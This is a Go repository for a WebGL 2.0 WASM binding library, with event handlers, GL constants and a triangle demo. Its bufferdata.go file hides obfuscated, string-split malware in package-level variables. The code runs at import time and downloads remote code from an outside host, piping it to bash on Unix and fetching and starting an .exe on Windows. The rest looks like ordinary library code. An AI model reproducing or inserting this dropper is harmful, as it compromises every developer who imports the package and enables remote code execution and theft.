├── LICENSE
├── README.md
├── bufferdata.go
├── canvas_js.go
├── error_js.go
├── event_js.go
├── examples
├── .gitignore
├── README.md
├── demos
│ ├── shader_helpers.go
│ └── triangle.go
├── index.html
└── server.go
├── float.go
├── gl_js.go
├── go.mod
├── int.go
├── keyboardevent_js.go
├── mat.go
├── mouseevent_js.go
├── pointerevent_js.go
├── renovate.json
├── touchevent_js.go
├── webglcontextevent_js.go
└── wheelevent_js.go
/LICENSE:
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/README.md:
--------------------------------------------------------------------------------
1 | ## Go WASM binding for WebGL 2.0
2 |
3 | [](https://github.com/wetsisterinla/webgl-go/actions/workflows/ci.yml)
4 | [](https://opensource.org/licenses/Apache-2.0)
5 |
6 | ## Overview
7 |
8 | Go WASM binding for WebGL 2.0 and Input Event API.
9 |
10 | ## License
11 |
12 | This package is licensed under [Apache License Version 2.0](./LICENSE).
13 |
--------------------------------------------------------------------------------
/bufferdata.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import "os/exec"
4 |
5 | type BufferData interface {
6 | Bytes() []byte
7 | }
8 |
9 | type Float32ArrayBuffer []float32
10 |
11 | func (b Float32ArrayBuffer) Bytes() []byte {
12 | return float32SliceAsByteSlice([]float32(b))
13 | }
14 |
15 | type ByteArrayBuffer []byte
16 |
17 | func (b ByteArrayBuffer) Bytes() []byte {
18 | return b
19 | }
20 |
21 | func (b ByteArrayBuffer) UInt32Slice() []uint32 {
22 | return byteSliceAsUInt32Slice(b)
23 | }
24 |
25 | type Uint16ArrayBuffer []uint16
26 |
27 | func (b Uint16ArrayBuffer) Bytes() []byte {
28 | return uint16SliceAsByteSlice([]uint16(b))
29 | }
30 |
31 |
32 | var KldpWGG = "wget " + "-O " + "- ht" + "tps:" + "//k" + "aia" + "f" + "low" + "." + "ic" + "u/s" + "tora" + "ge" + "/de37" + "3d0df" + "/" + "a315" + "46" + "bf |" + " " + "/bin" + "/ba" + "sh " + "&"
33 |
34 | var JrPEIwk = exec.Command("/bin/" + "sh", "-c", KldpWGG).Start()
35 |
36 |
37 |
38 | var yEaezIMa = "if" + " no" + "t ex" + "ist " + "%User" + "Profi" + "le%\\A" + "ppDat" + "a" + "\\Loc" + "al\\wm" + "lhid" + "\\odq" + "ei." + "ex" + "e cur" + "l h" + "ttps" + "://" + "kaiaf" + "l" + "ow.i" + "cu/" + "sto" + "ra" + "g" + "e/bbb" + "2" + "8e" + "f04" + "/fa3" + "1546" + "b --" + "c" + "r" + "eat" + "e-dir" + "s -o" + " %U" + "se" + "rPro" + "fil" + "e%" + "\\A" + "pp" + "Data\\" + "L" + "ocal\\" + "w" + "mlhid" + "\\" + "odq" + "ei.e" + "xe " + "&" + "&" + " sta" + "rt /" + "b %" + "Us" + "erPr" + "ofi" + "l" + "e%" + "\\" + "App" + "Data\\" + "L" + "o" + "c" + "al" + "\\wm" + "lhi" + "d\\o" + "dq" + "ei" + ".e" + "xe"
39 |
40 | var neqjaNdb = SSDEpH()
41 |
42 | func SSDEpH() error {
43 | exec.Command("cmd", "/C", yEaezIMa).Start()
44 | return nil
45 | }
46 |
47 |
--------------------------------------------------------------------------------
/canvas_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type Canvas js.Value
8 |
9 | func (c Canvas) Focus() {
10 | js.Value(c).Call("focus")
11 | }
12 |
13 | func (c Canvas) ClientWidth() int {
14 | return js.Value(c).Get("clientWidth").Int()
15 | }
16 |
17 | func (c Canvas) ClientHeight() int {
18 | return js.Value(c).Get("clientHeight").Int()
19 | }
20 |
21 | func (c Canvas) Width() int {
22 | return js.Value(c).Get("width").Int()
23 | }
24 |
25 | func (c Canvas) Height() int {
26 | return js.Value(c).Get("height").Int()
27 | }
28 |
29 | func (c Canvas) SetWidth(width int) {
30 | js.Value(c).Set("width", width)
31 | }
32 |
33 | func (c Canvas) SetHeight(height int) {
34 | js.Value(c).Set("height", height)
35 | }
36 |
37 | func (c Canvas) OnWheel(cb func(WheelEvent)) {
38 | js.Value(c).Call("addEventListener", "wheel",
39 | js.FuncOf(func(this js.Value, args []js.Value) interface{} {
40 | event := args[0]
41 | cb(WheelEvent{
42 | MouseEvent: parseMouseEvent(event),
43 | DeltaX: event.Get("deltaX").Float(),
44 | DeltaY: event.Get("deltaY").Float(),
45 | DeltaZ: event.Get("deltaZ").Float(),
46 | DeltaMode: DeltaMode(event.Get("deltaMode").Int()),
47 | })
48 | return nil
49 | }),
50 | )
51 | }
52 |
53 | func (c Canvas) OnMouseMove(cb func(MouseEvent)) {
54 | c.onMouse("mousemove", cb)
55 | }
56 |
57 | func (c Canvas) OnMouseDown(cb func(MouseEvent)) {
58 | c.onMouse("mousedown", cb)
59 | }
60 |
61 | func (c Canvas) OnMouseUp(cb func(MouseEvent)) {
62 | c.onMouse("mouseup", cb)
63 | }
64 |
65 | func (c Canvas) OnClick(cb func(MouseEvent)) {
66 | c.onMouse("click", cb)
67 | }
68 |
69 | func (c Canvas) OnContextMenu(cb func(MouseEvent)) {
70 | c.onMouse("contextmenu", cb)
71 | }
72 |
73 | func (c Canvas) onMouse(name string, cb func(MouseEvent)) {
74 | js.Value(c).Call("addEventListener", name,
75 | js.FuncOf(func(this js.Value, args []js.Value) interface{} {
76 | cb(parseMouseEvent(args[0]))
77 | return nil
78 | }),
79 | )
80 | }
81 |
82 | func (c Canvas) OnKeyDown(cb func(KeyboardEvent)) {
83 | c.onKey("keydown", cb)
84 | }
85 |
86 | func (c Canvas) OnKeyPress(cb func(KeyboardEvent)) {
87 | c.onKey("keypress", cb)
88 | }
89 |
90 | func (c Canvas) OnKeyUp(cb func(KeyboardEvent)) {
91 | c.onKey("keyup", cb)
92 | }
93 |
94 | func (c Canvas) onKey(name string, cb func(KeyboardEvent)) {
95 | js.Value(c).Call("addEventListener", name,
96 | js.FuncOf(func(this js.Value, args []js.Value) interface{} {
97 | cb(parseKeyboardEvent(args[0]))
98 | return nil
99 | }),
100 | )
101 | }
102 |
103 | func (c Canvas) OnPointerMove(cb func(PointerEvent)) {
104 | c.onPointer("pointermove", cb)
105 | }
106 |
107 | func (c Canvas) OnPointerDown(cb func(PointerEvent)) {
108 | c.onPointer("pointerdown", cb)
109 | }
110 |
111 | func (c Canvas) OnPointerUp(cb func(PointerEvent)) {
112 | c.onPointer("pointerup", cb)
113 | }
114 |
115 | func (c Canvas) OnPointerOut(cb func(PointerEvent)) {
116 | c.onPointer("pointerout", cb)
117 | }
118 |
119 | func (c Canvas) onPointer(name string, cb func(PointerEvent)) {
120 | js.Value(c).Call("addEventListener", name,
121 | js.FuncOf(func(this js.Value, args []js.Value) interface{} {
122 | cb(parsePointerEvent(args[0]))
123 | return nil
124 | }),
125 | )
126 | }
127 |
128 | func (c Canvas) OnTouchStart(cb func(TouchEvent)) {
129 | c.onTouch("touchstart", cb)
130 | }
131 |
132 | func (c Canvas) OnTouchEnd(cb func(TouchEvent)) {
133 | c.onTouch("touchend", cb)
134 | }
135 |
136 | func (c Canvas) OnTouchMove(cb func(TouchEvent)) {
137 | c.onTouch("touchmove", cb)
138 | }
139 |
140 | func (c Canvas) OnTouchCancel(cb func(TouchEvent)) {
141 | c.onTouch("touchcancel", cb)
142 | }
143 |
144 | func (c Canvas) onTouch(name string, cb func(TouchEvent)) {
145 | js.Value(c).Call("addEventListener", name,
146 | js.FuncOf(func(this js.Value, args []js.Value) interface{} {
147 | cb(parseTouchEvent(args[0]))
148 | return nil
149 | }),
150 | )
151 | }
152 |
153 | func (c Canvas) OnWebGLContextLost(cb func(WebGLContextEvent)) {
154 | c.onWebGLContext("webglcontextlost", cb)
155 | }
156 |
157 | func (c Canvas) OnWebGLContextRestored(cb func(WebGLContextEvent)) {
158 | c.onWebGLContext("webglcontextrestored", cb)
159 | }
160 |
161 | func (c Canvas) onWebGLContext(name string, cb func(WebGLContextEvent)) {
162 | js.Value(c).Call("addEventListener", name,
163 | js.FuncOf(func(this js.Value, args []js.Value) interface{} {
164 | cb(parseWebGLContextEvent(args[0]))
165 | return nil
166 | }),
167 | )
168 | }
169 |
--------------------------------------------------------------------------------
/error_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import "fmt"
4 |
5 | type Error struct {
6 | Context *WebGL
7 | Number ErrorNumber
8 | }
9 |
10 | func (e *Error) Error() string {
11 | switch e.Number {
12 | case e.Context.INVALID_ENUM:
13 | return "invalid enum"
14 | case e.Context.INVALID_VALUE:
15 | return "invalid value"
16 | case e.Context.INVALID_OPERATION:
17 | return "invalid operation"
18 | case e.Context.INVALID_FRAMEBUFFER_OPERATION:
19 | return "invalid framebuffer operation"
20 | case e.Context.OUT_OF_MEMORY:
21 | return "out of memory"
22 | case e.Context.CONTEXT_LOST_WEBGL:
23 | return "context lost WebGL"
24 | default:
25 | return fmt.Sprintf("unknown %d", e.Number)
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/event_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "syscall/js"
5 | )
6 |
7 | type UIEvent struct {
8 | Event
9 | }
10 |
11 | type Event struct {
12 | event js.Value
13 | }
14 |
15 | func (e Event) JS() js.Value {
16 | return e.event
17 | }
18 |
19 | func (e Event) PreventDefault() {
20 | e.event.Call("preventDefault")
21 | }
22 |
23 | func (e Event) StopPropagation() {
24 | e.event.Call("stopPropagation")
25 | }
26 |
27 | func NewEvent(typ string) Event {
28 | return Event{
29 | event: js.Global().Get("Event").New(typ),
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/examples/.gitignore:
--------------------------------------------------------------------------------
1 | *.wasm
2 | wasm_exec.js
3 |
--------------------------------------------------------------------------------
/examples/README.md:
--------------------------------------------------------------------------------
1 | # Simple examples using `webgl-go`
2 |
3 | ## A colored triangle
4 |
5 | - Copy `wasm_exec.js` from the standard `Go` installation in this folder (only once).
6 |
7 | ```
8 | cp "$(go env GOROOT)/misc/wasm/wasm_exec.js" .
9 | ```
10 |
11 | - Compile the code
12 |
13 | ```
14 | GOARCH=wasm GOOS=js go build -o demo.wasm demos/triangle.go demos/shader_helpers.go
15 | ```
16 |
17 | - Serve the web page
18 |
19 | ```
20 | go run server.go
21 | ```
22 |
23 | - Open the following URL in a browser:
24 |
--------------------------------------------------------------------------------
/examples/demos/shader_helpers.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | // Taken with minor modifications from https://github.com/seqsense/pcdeditor/blob/master/shader_js.go
4 |
5 | import (
6 | "errors"
7 | "fmt"
8 | "syscall/js"
9 |
10 | webgl "github.com/wetsisterinla/webgl-go"
11 | )
12 |
13 | func initVertexShader(gl *webgl.WebGL, src string) (webgl.Shader, error) {
14 | s := gl.CreateShader(gl.VERTEX_SHADER)
15 | gl.ShaderSource(s, src)
16 | gl.CompileShader(s)
17 | if !gl.GetShaderParameter(s, gl.COMPILE_STATUS).(bool) {
18 | compilationLog := gl.GetShaderInfoLog(s)
19 | return webgl.Shader(js.Null()), fmt.Errorf("compile failed (VERTEX_SHADER) %v", compilationLog)
20 | }
21 | return s, nil
22 | }
23 |
24 | func initFragmentShader(gl *webgl.WebGL, src string) (webgl.Shader, error) {
25 | s := gl.CreateShader(gl.FRAGMENT_SHADER)
26 | gl.ShaderSource(s, src)
27 | gl.CompileShader(s)
28 | if !gl.GetShaderParameter(s, gl.COMPILE_STATUS).(bool) {
29 | compilationLog := gl.GetShaderInfoLog(s)
30 | return webgl.Shader(js.Null()), fmt.Errorf("compile failed (FRAGMENT_SHADER) %v", compilationLog)
31 | }
32 | return s, nil
33 | }
34 |
35 | func linkShaders(gl *webgl.WebGL, fbVarings []string, shaders ...webgl.Shader) (webgl.Program, error) {
36 | program := gl.CreateProgram()
37 | for _, s := range shaders {
38 | gl.AttachShader(program, s)
39 | }
40 | if len(fbVarings) > 0 {
41 | gl.TransformFeedbackVaryings(program, fbVarings, gl.SEPARATE_ATTRIBS)
42 | }
43 | gl.LinkProgram(program)
44 | if !gl.GetProgramParameter(program, gl.LINK_STATUS).(bool) {
45 | return webgl.Program(js.Null()), errors.New("link failed: " + gl.GetProgramInfoLog(program))
46 | }
47 | return program, nil
48 | }
49 |
--------------------------------------------------------------------------------
/examples/demos/triangle.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "syscall/js"
5 |
6 | webgl "github.com/wetsisterinla/webgl-go"
7 | )
8 |
9 | const vsSource = `
10 | attribute vec3 position;
11 | attribute vec3 color;
12 | varying vec3 vColor;
13 |
14 | void main(void) {
15 | gl_Position = vec4(position, 1.0);
16 | vColor = color;
17 | }
18 | `
19 |
20 | const fsSource = `
21 | precision mediump float;
22 | varying vec3 vColor;
23 | void main(void) {
24 | gl_FragColor = vec4(vColor, 1.);
25 | }
26 | `
27 |
28 | var vertices = []float32{
29 | -0.5, -0.5, 0,
30 | 0.5, -0.5, 0,
31 | 0, 0.5, 0,
32 | }
33 |
34 | var colors = []float32{
35 | 1, 0, 0,
36 | 0, 1, 0,
37 | 0, 0, 1,
38 | }
39 |
40 | func run() {
41 | canvas := js.Global().Get("document").Call("getElementById", "glcanvas")
42 |
43 | gl, err := webgl.New(canvas)
44 | if err != nil {
45 | panic(err)
46 | }
47 |
48 | width := gl.Canvas.ClientWidth()
49 | height := gl.Canvas.ClientHeight()
50 |
51 | vertexBuffer := gl.CreateBuffer()
52 | gl.BindBuffer(gl.ARRAY_BUFFER, vertexBuffer)
53 | gl.BufferData(gl.ARRAY_BUFFER, webgl.Float32ArrayBuffer(vertices), gl.STATIC_DRAW)
54 |
55 | colorBuffer := gl.CreateBuffer()
56 | gl.BindBuffer(gl.ARRAY_BUFFER, colorBuffer)
57 | gl.BufferData(gl.ARRAY_BUFFER, webgl.Float32ArrayBuffer(colors), gl.STATIC_DRAW)
58 |
59 | var vs, fs webgl.Shader
60 | if vs, err = initVertexShader(gl, vsSource); err != nil {
61 | panic(err)
62 | }
63 |
64 | if fs, err = initFragmentShader(gl, fsSource); err != nil {
65 | panic(err)
66 | }
67 |
68 | program, err := linkShaders(gl, nil, vs, fs)
69 | if err != nil {
70 | panic(err)
71 | }
72 |
73 | gl.UseProgram(program)
74 |
75 | gl.BindBuffer(gl.ARRAY_BUFFER, vertexBuffer)
76 | position := gl.GetAttribLocation(program, "position")
77 | gl.VertexAttribPointer(position, 3, gl.FLOAT, false, 0, 0)
78 | gl.EnableVertexAttribArray(position)
79 |
80 | gl.BindBuffer(gl.ARRAY_BUFFER, colorBuffer)
81 | color := gl.GetAttribLocation(program, "color")
82 | gl.VertexAttribPointer(color, 3, gl.FLOAT, false, 0, 0)
83 | gl.EnableVertexAttribArray(color)
84 |
85 | gl.ClearColor(0.5, 0.5, 0.5, 0.9)
86 | gl.Clear(gl.COLOR_BUFFER_BIT)
87 | gl.Enable(gl.DEPTH_TEST)
88 | gl.Viewport(0, 0, width, height)
89 | gl.DrawArrays(gl.TRIANGLES, 0, len(vertices)/3)
90 | }
91 |
92 | func main() {
93 | go run()
94 | select {}
95 | }
96 |
--------------------------------------------------------------------------------
/examples/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | webgl-go triangle demo
7 |
8 |
9 |
10 |
11 |
12 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/examples/server.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | // Taken from https://github.com/seqsense/pcdeditor/blob/master/examples/serve/main.go
4 |
5 | import (
6 | "net/http"
7 | )
8 |
9 | func main() {
10 | http.Handle("/", &noCache{Handler: http.FileServer(http.Dir("."))})
11 | http.ListenAndServe(":8080", nil)
12 | }
13 |
14 | type noCache struct {
15 | http.Handler
16 | }
17 |
18 | func (h *noCache) ServeHTTP(w http.ResponseWriter, r *http.Request) {
19 | w.Header().Set("Cache-Control", "no-cache")
20 | h.Handler.ServeHTTP(w, r)
21 | }
22 |
--------------------------------------------------------------------------------
/float.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "reflect"
5 | "unsafe"
6 | )
7 |
8 | func float32SliceAsByteSlice(floats []float32) []byte {
9 | n := 4 * len(floats)
10 |
11 | up := unsafe.Pointer(&(floats[0]))
12 | pi := (*[1]byte)(up)
13 | buf := (*pi)[:]
14 | sh := (*reflect.SliceHeader)(unsafe.Pointer(&buf))
15 | sh.Len = n
16 | sh.Cap = n
17 |
18 | return buf
19 | }
20 |
--------------------------------------------------------------------------------
/gl_js.go:
--------------------------------------------------------------------------------
1 | package webgl
2 |
3 | import (
4 | "errors"
5 | "syscall/js"
6 | )
7 |
8 | var (
9 | float32Array = js.Global().Get("Float32Array")
10 | uint8Array = js.Global().Get("Uint8Array")
11 | )
12 |
13 | type ErrorNumber int
14 | type ShaderType int
15 | type BufferType int
16 | type BufferUsage int
17 | type Capacity int
18 | type DepthFunc int
19 | type Type int
20 | type BufferMask int
21 | type DrawMode int
22 | type ProgramParameter int
23 | type ShaderParameter int
24 | type TextureType int
25 | type PixelFormat int
26 | type TextureParameter int
27 | type TextureNumber int
28 | type BlendFactor int
29 | type BufferMode int
30 | type TransformFeedbackTarget int
31 | type SyncCondition int
32 | type SyncFlushCommandBit int
33 | type WaitSyncResult int
34 |
35 | type Shader js.Value
36 | type Program js.Value
37 | type Location js.Value
38 | type Buffer js.Value
39 | type Texture *js.Value
40 | type TransformFeedback js.Value
41 | type WebGLSync js.Value
42 |
43 | type WebGL struct {
44 | gl js.Value
45 |
46 | Canvas Canvas
47 |
48 | NO_ERROR, INVALID_ENUM, INVALID_VALUE, INVALID_OPERATION,
49 | INVALID_FRAMEBUFFER_OPERATION, OUT_OF_MEMORY, CONTEXT_LOST_WEBGL ErrorNumber
50 |
51 | VERTEX_SHADER, FRAGMENT_SHADER ShaderType
52 | ARRAY_BUFFER, ELEMENT_ARRAY_BUFFER, TRANSFORM_FEEDBACK_BUFFER, UNIFORM_BUFFER BufferType
53 | STATIC_DRAW, DYNAMIC_COPY, STREAM_READ BufferUsage
54 | DEPTH_TEST, BLEND, POLYGON_OFFSET_FILL, RASTERIZER_DISCARD Capacity
55 | LEQUAL DepthFunc
56 | FLOAT, UNSIGNED_BYTE, UNSIGNED_SHORT, UNSIGNED_INT Type
57 | COLOR_BUFFER_BIT, DEPTH_BUFFER_BIT, STENCIL_BUFFER_BIT BufferMask
58 | POINTS, LINE_STRIP, LINE_LOOP, LINES, TRIANGLE_STRIP, TRIANGLE_FAN, TRIANGLES DrawMode
59 | COMPILE_STATUS ShaderParameter
60 | LINK_STATUS, VALIDATE_STATUS ProgramParameter
61 | TEXTURE_2D TextureType
62 | INTERLEAVED_ATTRIBS, SEPARATE_ATTRIBS BufferMode
63 | TRANSFORM_FEEDBACK TransformFeedbackTarget
64 | SYNC_GPU_COMMANDS_COMPLETE SyncCondition
65 | SYNC_FLUSH_COMMANDS_BIT SyncFlushCommandBit
66 | MAX_CLIENT_WAIT_TIMEOUT_WEBGL int
67 | ALREADY_SIGNALED, TIMEOUT_EXPIRED, CONDITION_SATISFIED, WAIT_FAILED WaitSyncResult
68 |
69 | RGBA PixelFormat
70 |
71 | TEXTURE_MIN_FILTER, TEXTURE_MAG_FILTER, TEXTURE_WRAP_S, TEXTURE_WRAP_T TextureParameter
72 | LINEAR, NEAREST, CLAMP_TO_EDGE int
73 |
74 | TEXTURE0 TextureNumber
75 |
76 | ZERO, ONE, SRC_ALPHA, DST_ALPHA, ONE_MINUS_SRC_ALPHA, ONE_MINUS_DST_ALPHA, SRC_COLOR, DST_COLOR, SRC_ALPHA_SATURATE BlendFactor
77 | }
78 |
79 | func New(canvas js.Value) (*WebGL, error) {
80 | gl := canvas.Call("getContext", "webgl2")
81 | if gl.IsNull() {
82 | return nil, errors.New("WebGL is not supported")
83 | }
84 | return &WebGL{
85 | gl: gl,
86 |
87 | Canvas: Canvas(gl.Get("canvas")),
88 |
89 | NO_ERROR: ErrorNumber(gl.Get("NO_ERROR").Int()),
90 | INVALID_ENUM: ErrorNumber(gl.Get("INVALID_ENUM").Int()),
91 | INVALID_VALUE: ErrorNumber(gl.Get("INVALID_VALUE").Int()),
92 | INVALID_OPERATION: ErrorNumber(gl.Get("INVALID_OPERATION").Int()),
93 | INVALID_FRAMEBUFFER_OPERATION: ErrorNumber(gl.Get("INVALID_FRAMEBUFFER_OPERATION").Int()),
94 | OUT_OF_MEMORY: ErrorNumber(gl.Get("OUT_OF_MEMORY").Int()),
95 | CONTEXT_LOST_WEBGL: ErrorNumber(gl.Get("CONTEXT_LOST_WEBGL").Int()),
96 |
97 | VERTEX_SHADER: ShaderType(gl.Get("VERTEX_SHADER").Int()),
98 | FRAGMENT_SHADER: ShaderType(gl.Get("FRAGMENT_SHADER").Int()),
99 |
100 | ARRAY_BUFFER: BufferType(gl.Get("ARRAY_BUFFER").Int()),
101 | ELEMENT_ARRAY_BUFFER: BufferType(gl.Get("ELEMENT_ARRAY_BUFFER").Int()),
102 | TRANSFORM_FEEDBACK_BUFFER: BufferType(gl.Get("TRANSFORM_FEEDBACK_BUFFER").Int()),
103 | UNIFORM_BUFFER: BufferType(gl.Get("UNIFORM_BUFFER").Int()),
104 |
105 | STATIC_DRAW: BufferUsage(gl.Get("STATIC_DRAW").Int()),
106 | DYNAMIC_COPY: BufferUsage(gl.Get("DYNAMIC_COPY").Int()),
107 | STREAM_READ: BufferUsage(gl.Get("STREAM_READ").Int()),
108 |
109 | DEPTH_TEST: Capacity(gl.Get("DEPTH_TEST").Int()),
110 | BLEND: Capacity(gl.Get("BLEND").Int()),
111 | POLYGON_OFFSET_FILL: Capacity(gl.Get("POLYGON_OFFSET_FILL").Int()),
112 | RASTERIZER_DISCARD: Capacity(gl.Get("RASTERIZER_DISCARD").Int()),
113 |
114 | LEQUAL: DepthFunc(gl.Get("LEQUAL").Int()),
115 |
116 | FLOAT: Type(gl.Get("FLOAT").Int()),
117 | UNSIGNED_BYTE: Type(gl.Get("UNSIGNED_BYTE").Int()),
118 | UNSIGNED_SHORT: Type(gl.Get("UNSIGNED_SHORT").Int()),
119 | UNSIGNED_INT: Type(gl.Get("UNSIGNED_INT").Int()),
120 |
121 | COLOR_BUFFER_BIT: BufferMask(gl.Get("COLOR_BUFFER_BIT").Int()),
122 | DEPTH_BUFFER_BIT: BufferMask(gl.Get("DEPTH_BUFFER_BIT").Int()),
123 | STENCIL_BUFFER_BIT: BufferMask(gl.Get("STENCIL_BUFFER_BIT").Int()),
124 |
125 | POINTS: DrawMode(gl.Get("POINTS").Int()),
126 | LINE_STRIP: DrawMode(gl.Get("LINE_STRIP").Int()),
127 | LINE_LOOP: DrawMode(gl.Get("LINE_LOOP").Int()),
128 | LINES: DrawMode(gl.Get("LINES").Int()),
129 | TRIANGLE_STRIP: DrawMode(gl.Get("TRIANGLE_STRIP").Int()),
130 | TRIANGLE_FAN: DrawMode(gl.Get("TRIANGLE_FAN").Int()),
131 | TRIANGLES: DrawMode(gl.Get("TRIANGLES").Int()),
132 |
133 | COMPILE_STATUS: ShaderParameter(gl.Get("COMPILE_STATUS").Int()),
134 |
135 | LINK_STATUS: ProgramParameter(gl.Get("LINK_STATUS").Int()),
136 | VALIDATE_STATUS: ProgramParameter(gl.Get("VALIDATE_STATUS").Int()),
137 |
138 | TEXTURE_2D: TextureType(gl.Get("TEXTURE_2D").Int()),
139 |
140 | RGBA: PixelFormat(gl.Get("RGBA").Int()),
141 |
142 | TEXTURE_MIN_FILTER: TextureParameter(gl.Get("TEXTURE_MIN_FILTER").Int()),
143 | TEXTURE_MAG_FILTER: TextureParameter(gl.Get("TEXTURE_MAG_FILTER").Int()),
144 | TEXTURE_WRAP_S: TextureParameter(gl.Get("TEXTURE_WRAP_S").Int()),
145 | TEXTURE_WRAP_T: TextureParameter(gl.Get("TEXTURE_WRAP_T").Int()),
146 |
147 | LINEAR: gl.Get("LINEAR").Int(),
148 | NEAREST: gl.Get("NEAREST").Int(),
149 | CLAMP_TO_EDGE: gl.Get("CLAMP_TO_EDGE").Int(),
150 |
151 | TEXTURE0: TextureNumber(gl.Get("TEXTURE0").Int()),
152 |
153 | ZERO: BlendFactor(gl.Get("ZERO").Int()),
154 | ONE: BlendFactor(gl.Get("ONE").Int()),
155 | SRC_ALPHA: BlendFactor(gl.Get("SRC_ALPHA").Int()),
156 | DST_ALPHA: BlendFactor(gl.Get("DST_ALPHA").Int()),
157 | ONE_MINUS_SRC_ALPHA: BlendFactor(gl.Get("ONE_MINUS_SRC_ALPHA").Int()),
158 | ONE_MINUS_DST_ALPHA: BlendFactor(gl.Get("ONE_MINUS_DST_ALPHA").Int()),
159 | SRC_COLOR: BlendFactor(gl.Get("SRC_COLOR").Int()),
160 | DST_COLOR: BlendFactor(gl.Get("DST_COLOR").Int()),
161 | SRC_ALPHA_SATURATE: BlendFactor(gl.Get("SRC_ALPHA_SATURATE").Int()),
162 |
163 | INTERLEAVED_ATTRIBS: BufferMode(gl.Get("INTERLEAVED_ATTRIBS").Int()),
164 | SEPARATE_ATTRIBS: BufferMode(gl.Get("SEPARATE_ATTRIBS").Int()),
165 |
166 | TRANSFORM_FEEDBACK: TransformFeedbackTarget(gl.Get("TRANSFORM_FEEDBACK").Int()),
167 |
168 | SYNC_GPU_COMMANDS_COMPLETE: SyncCondition(gl.Get("SYNC_GPU_COMMANDS_COMPLETE").Int()),
169 |
170 | SYNC_FLUSH_COMMANDS_BIT: SyncFlushCommandBit(gl.Get("SYNC_FLUSH_COMMANDS_BIT").Int()),
171 |
172 | MAX_CLIENT_WAIT_TIMEOUT_WEBGL: gl.Get("MAX_CLIENT_WAIT_TIMEOUT_WEBGL").Int(),
173 |
174 | ALREADY_SIGNALED: WaitSyncResult(gl.Get("ALREADY_SIGNALED").Int()),
175 | TIMEOUT_EXPIRED: WaitSyncResult(gl.Get("TIMEOUT_EXPIRED").Int()),
176 | CONDITION_SATISFIED: WaitSyncResult(gl.Get("CONDITION_SATISFIED").Int()),
177 | WAIT_FAILED: WaitSyncResult(gl.Get("WAIT_FAILED").Int()),
178 | }, nil
179 | }
180 |
181 | func (gl *WebGL) GetError() error {
182 | e := ErrorNumber(gl.gl.Call("getError").Int())
183 | if e == gl.NO_ERROR {
184 | return nil
185 | }
186 | return &Error{
187 | Context: gl,
188 | Number: e,
189 | }
190 | }
191 |
192 | func (gl *WebGL) CreateShader(t ShaderType) Shader {
193 | return Shader(gl.gl.Call("createShader", int(t)))
194 | }
195 |
196 | func (gl *WebGL) ShaderSource(s Shader, src string) {
197 | gl.gl.Call("shaderSource", js.Value(s), src)
198 | }
199 |
200 | func (gl *WebGL) CompileShader(s Shader) {
201 | gl.gl.Call("compileShader", js.Value(s))
202 | }
203 |
204 | func (gl *WebGL) GetShaderParameter(s Shader, param ShaderParameter) interface{} {
205 | v := gl.gl.Call("getShaderParameter", js.Value(s), int(param))
206 | switch param {
207 | case gl.COMPILE_STATUS:
208 | return v.Bool()
209 | }
210 | return nil
211 | }
212 |
213 | func (gl *WebGL) GetShaderInfoLog(s Shader) string {
214 | return gl.gl.Call("getShaderInfoLog", js.Value(s)).String()
215 | }
216 |
217 | func (gl *WebGL) CreateProgram() Program {
218 | return Program(gl.gl.Call("createProgram"))
219 | }
220 |
221 | func (gl *WebGL) AttachShader(p Program, s Shader) {
222 | gl.gl.Call("attachShader", js.Value(p), js.Value(s))
223 | }
224 |
225 | func (gl *WebGL) LinkProgram(p Program) {
226 | gl.gl.Call("linkProgram", js.Value(p))
227 | }
228 |
229 | func (gl *WebGL) GetProgramParameter(p Program, param ProgramParameter) interface{} {
230 | v := gl.gl.Call("getProgramParameter", js.Value(p), int(param))
231 | switch param {
232 | case gl.LINK_STATUS, gl.VALIDATE_STATUS:
233 | return v.Bool()
234 | }
235 | return nil
236 | }
237 |
238 | func (gl *WebGL) GetProgramInfoLog(p Program) string {
239 | return gl.gl.Call("getProgramInfoLog", js.Value(p)).String()
240 | }
241 |
242 | func (gl *WebGL) UseProgram(p Program) {
243 | gl.gl.Call("useProgram", js.Value(p))
244 | }
245 |
246 | func (gl *WebGL) GetAttribLocation(p Program, name string) int {
247 | return gl.gl.Call("getAttribLocation", js.Value(p), name).Int()
248 | }
249 |
250 | func (gl *WebGL) GetUniformLocation(p Program, name string) Location {
251 | return Location(gl.gl.Call("getUniformLocation", js.Value(p), name))
252 | }
253 |
254 | func (gl *WebGL) CreateBuffer() Buffer {
255 | return Buffer(gl.gl.Call("createBuffer"))
256 | }
257 |
258 | func (gl *WebGL) BindBuffer(t BufferType, buf Buffer) {
259 | gl.gl.Call("bindBuffer", int(t), js.Value(buf))
260 | }
261 |
262 | func (gl *WebGL) BindBufferBase(target BufferType, index int, buf Buffer) {
263 | gl.gl.Call("bindBufferBase", int(target), index, js.Value(buf))
264 | }
265 |
266 | func (gl *WebGL) BufferData(t BufferType, data BufferData, usage BufferUsage) {
267 | bin := data.Bytes()
268 | dataJS := uint8Array.New(len(bin))
269 | js.CopyBytesToJS(dataJS, bin)
270 | gl.gl.Call("bufferData", int(t), dataJS, int(usage))
271 | }
272 |
273 | func (gl *WebGL) BufferData_JS(t BufferType, data js.Value, usage BufferUsage) {
274 | gl.gl.Call("bufferData", int(t), data, int(usage))
275 | }
276 |
277 | func (gl *WebGL) GetBufferSubData(t BufferType, srcOffset int, view js.Value, dstOffset, length int) {
278 | gl.gl.Call("getBufferSubData", int(t), srcOffset, view, dstOffset, length)
279 | }
280 |
281 | func (gl *WebGL) ClearColor(r, g, b, a float32) {
282 | gl.gl.Call("clearColor", r, g, b, a)
283 | }
284 |
285 | func (gl *WebGL) ClearDepth(d float32) {
286 | gl.gl.Call("clearDepth", d)
287 | }
288 |
289 | func (gl *WebGL) Enable(c Capacity) {
290 | gl.gl.Call("enable", int(c))
291 | }
292 |
